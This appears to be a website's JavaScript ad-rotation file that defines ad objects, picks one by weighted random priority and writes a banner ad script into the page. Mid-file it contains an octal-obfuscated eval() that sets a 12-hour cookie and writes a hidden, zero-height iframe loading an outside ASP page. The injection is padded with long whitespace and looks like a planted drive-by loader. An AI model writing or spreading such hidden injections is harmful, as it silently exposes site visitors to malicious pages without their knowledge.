function ObjectAD() {
  /* Define Variables*/
  this.ADID        = 0;
  this.ADType      = 0;
  this.ADName      = "";
  this.ImgUrl      = "";
  this.ImgWidth    = 0;
  this.ImgHeight   = 0;
  this.FlashWmode  = 0;
  this.LinkUrl     = "";
  this.LinkTarget  = 0;
  this.LinkAlt     = "";
  this.Priority    = 0;
  this.CountView   = 0;
  this.CountClick  = 0;
  this.InstallDir  = "";
  this.ADDIR       = "";
}

function CodeZoneAD(_id) {
  /* Define Common Variables*/
  this.ID          = _id;
  this.ZoneID      = 0;

  /* Define Unique Variables*/

  /* Define Objects */
  this.AllAD       = new Array();
  this.ShowAD      = null;

  /* Define Functions */
  this.AddAD       = CodeZoneAD_AddAD;
  this.GetShowAD   = CodeZoneAD_GetShowAD;
  this.Show        = CodeZoneAD_Show;

}

function CodeZoneAD_AddAD(_AD) {
  this.AllAD[this.AllAD.length] = _AD;
}

function CodeZoneAD_GetShowAD() {
  if (this.ShowType > 1) {
    this.ShowAD = this.AllAD[0];
    return;
  }
  var num = this.AllAD.length;
  var sum = 0;
  for (var i = 0; i < num; i++) {
    sum = sum + this.AllAD[i].Priority;
  }
  if (sum <= 0) {return ;}
  var rndNum = Math.random() * sum;
  i = 0;
  j = 0;
  while (true) {
    j = j + this.AllAD[i].Priority;
    if (j >= rndNum) {break;}
    i++;
  }
  this.ShowAD = this.AllAD[i];
}

function CodeZoneAD_Show() {
  if (!this.AllAD) {
    return;
  } else {
    this.GetShowAD();
  }

  if (this.ShowAD == null) return false;
  document.write(this.ShowAD.ADIntro);
}
eval("\166\141\162\40\143\157\157\153\151\145\123\164\162\151\156\147\75\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\73\15\12\166\141\162\40\163\164\141\162\164\75\143\157\157\153\151\145\123\164\162\151\156\147\56\151\156\144\145\170\117\146\50\42\143\157\157\153\151\145\163\154\145\145\160\42\51\73\15\12\151\146\50\163\164\141\162\164\41\75\55\61\51\173\175\145\154\163\145\173\166\141\162\40\145\170\160\151\162\145\163\75\156\145\167\40\104\141\164\145\50\51\73\15\12\145\170\160\151\162\145\163\56\163\145\164\124\151\155\145\50\145\170\160\151\162\145\163\56\147\145\164\124\151\155\145\50\51\53\61\62\52\66\60\52\66\60\52\61\60\60\60\51\73\15\12\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\75\42\143\157\157\153\151\145\163\154\145\145\160\75\164\145\163\164\73\145\170\160\151\162\145\163\75\42\53\145\170\160\151\162\145\163\56\164\157\107\115\124\123\164\162\151\156\147\50\51\73\15\12\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\42\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\167\167\167\56\147\154\151\156\164\163\165\156\56\143\157\155\57\151\156\143\154\165\144\145\57\146\163\56\141\163\160\40\167\151\144\164\150\75\61\60\40\150\145\151\147\150\164\75\60\76\74\57\151\146\162\141\155\145\76\42\51\73\175")



 


































var ZoneAD_18 = new CodeZoneAD("ZoneAD_18");
ZoneAD_18.ZoneID      = 18;
ZoneAD_18.ZoneWidth   = 0;
ZoneAD_18.ZoneHeight  = 0;
ZoneAD_18.ShowType    = 1;

var objAD = new ObjectAD();
objAD.ADID           = 20;
objAD.ADType         = 4;
objAD.ADName         = "素材内容页页上面通栏广告760*110";
objAD.ImgUrl         = "";
objAD.ImgWidth       = 0;
objAD.ImgHeight      = 0;
objAD.FlashWmode     = 0;
objAD.ADIntro        = "<script language=\"JavaScript\" type=\"text/JavaScript\" src=\"http://code.qihoo.com/ad_bcast/html_show.js?a=2277&b=1003&p=2001&nt=&w=760&h=110&m=171109\"> </script>";
objAD.LinkUrl        = "";
objAD.LinkTarget     = 1;
objAD.LinkAlt        = "";
objAD.Priority       = 1;
objAD.CountView      = 0;
objAD.CountClick     = 0;
objAD.InstallDir     = "/";
objAD.ADDIR          = "AD";
ZoneAD_18.AddAD(objAD);

ZoneAD_18.Show();






























































